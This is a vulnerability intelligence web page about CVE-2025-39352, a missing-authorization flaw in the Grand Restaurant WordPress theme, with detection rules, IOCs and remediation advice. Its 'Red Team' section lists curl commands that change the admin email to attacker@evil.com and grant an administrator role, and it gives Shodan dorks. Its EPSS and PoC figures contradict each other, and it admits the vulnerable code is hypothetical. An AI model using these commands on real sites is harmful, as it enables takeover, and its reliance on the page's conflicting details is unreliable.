☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themegoods logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39352

CVE-2025-39352 Missing Authorization in Themegoods
📅 PUBLISHED: 2025-05-19 20:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
13.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39352 is a critical Missing Authorization vulnerability (CWE-862) in the Themegoods Grand Restaurant WordPress theme, affecting versions up to and including 7.0. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to full site compromise, data exfiltration, or privilege escalation. The vulnerability is classified as CVSS 8.2 (High) with a network attack vector and no required privileges or user interaction. As of this report, no official patch has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant due to the lack of authentication requirements.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via Themegoods. Since it is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to direct theme installations. However, users should verify the integrity of their theme files and monitor for unauthorized modifications.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.2 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – Unauthenticated access.
  • User Interaction: None (UI:N) – No victim action needed.
  • Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
  • Confidentiality Impact: High (C:H) – Full data disclosure possible.
  • Integrity Impact: High (I:H) – Full data modification possible.
  • Availability Impact: High (A:H) – Potential denial of service or site takeover.

Threat Level: Critical due to unauthenticated remote exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability resides in the Grand Restaurant WordPress theme’s access control mechanisms. The theme likely implements custom AJAX handlers, REST API endpoints, or admin-ajax actions that fail to properly verify user capabilities or nonces. This allows an attacker to send crafted HTTP requests to privileged endpoints without authentication, enabling actions such as:

  • Modifying theme settings (e.g., menu items, restaurant configurations).
  • Uploading arbitrary files (if file upload endpoints are exposed).
  • Escalating privileges by manipulating user roles or metadata.
  • Exfiltrating sensitive data (e.g., customer orders, database credentials).

The root cause is Missing Authorization (CWE-862), where the theme does not enforce current_user_can() checks or nonce validation on critical functions. This is common in WordPress themes that expose admin functionality via AJAX without proper capability checks.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable AJAX handler in WordPress might look like:

// Vulnerable: No capability check
add_action('wp_ajax_nopriv_grandrestaurant_update_menu', 'grandrestaurant_update_menu');
function grandrestaurant_update_menu() {
    // Process menu update without checking user capabilities
    update_option('grandrestaurant_menu', $_POST['menu_data']);
    wp_die();
}

A patched version would include:

// Patched: Capability check added
add_action('wp_ajax_grandrestaurant_update_menu', 'grandrestaurant_update_menu');
function grandrestaurant_update_menu() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    check_ajax_referer('grandrestaurant_nonce', 'nonce');
    update_option('grandrestaurant_menu', sanitize_text_field($_POST['menu_data']));
    wp_die();
}

Note: The nopriv_ prefix in the vulnerable example allows unauthenticated access. The patched version removes this and adds capability checks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites: A WordPress site running Grand Restaurant theme <= 7.0.

Step 1: Reconnaissance Identify the vulnerable endpoints by scanning for AJAX actions:

curl -s "http://target.com/wp-admin/admin-ajax.php?action=grandrestaurant_get_settings" | grep -i "unauthorized\|error"

Step 2: Exploit Missing Authorization Craft a request to a privileged action (e.g., updating theme options):

curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  -d "action=grandrestaurant_update_settings&option_name=admin_email&option_value=attacker@evil.com"

Step 3: Privilege Escalation (if applicable) If the theme exposes user meta manipulation:

curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  -d "action=grandrestaurant_set_user_role&user_id=1&role=administrator"

Step 4: Data Exfiltration Extract database credentials from theme options:

curl -s "http://target.com/wp-admin/admin-ajax.php?action=grandrestaurant_get_db_config"

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual AJAX requests to admin-ajax.php with nopriv_ actions.
  • Alert on requests to grandrestaurant_* actions from unauthenticated IPs.
  • Check for unexpected changes to theme options or user roles.

Hardening:

  • Disable unused AJAX actions via a custom plugin or .htaccess rules.
  • Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php with suspicious parameters.
  • Apply the principle of least privilege to WordPress user roles.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /wp-admin/admin-ajax.php with action=grandrestaurant_* parameters.
    • Unusual option_name or option_value parameters in POST data.
    • Requests from IPs not associated with legitimate admin users.
  • File IOCs:

    • Modified wp-content/themes/grandrestaurant/functions.php or other theme files.
    • New files in wp-content/uploads/ with suspicious names (e.g., shell.php).
  • Log IOCs:

    • WordPress debug log entries showing wp_ajax_nopriv_* actions being called.
    • Apache/Nginx access logs with POST /wp-admin/admin-ajax.php from unknown IPs.

Detection Engineering

YARA Rule

rule Detect_GrandRestaurant_Exploit {
    meta:
        description = "Detects exploitation attempts against CVE-2025-39352 in Grand Restaurant theme"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-39352"
    strings:
        $ajax_action = "action=grandrestaurant_" nocase
        $nopriv = "nopriv" nocase
        $option_name = "option_name=" nocase
        $option_value = "option_value=" nocase
    condition:
        $ajax_action and ($nopriv or $option_name or $option_value)
}

Sigma Rule

title: Grand Restaurant Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests targeting Grand Restaurant theme
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=grandrestaurant_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39352 Grand Restaurant Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=grandrestaurant_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Grand Restaurant theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
  2. Remove or rename the vulnerable theme directory to prevent accidental re-enabling.
  3. Audit user accounts for unauthorized privilege escalation.

Long-term Mitigation:

  • Monitor the Themegoods website for an official patch. If none is released, consider migrating to an alternative restaurant management plugin.
  • Implement a Web Application Firewall (WAF) with custom rules to block unauthenticated AJAX requests to grandrestaurant_* actions.
  • Apply the principle of least privilege to all WordPress user roles and disable unused AJAX actions via a custom plugin.

Workaround (if theme must remain active):

  • Add the following code to a custom plugin or theme's functions.php to block unauthenticated access to vulnerable actions:
add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $blocked_actions = ['grandrestaurant_update_settings', 'grandrestaurant_set_user_role'];
        if (isset($_REQUEST['action']) && in_array($_REQUEST['action'], $blocked_actions)) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Grand Restaurant"
http.html:"wp-content/themes/grandrestaurant"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39352/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.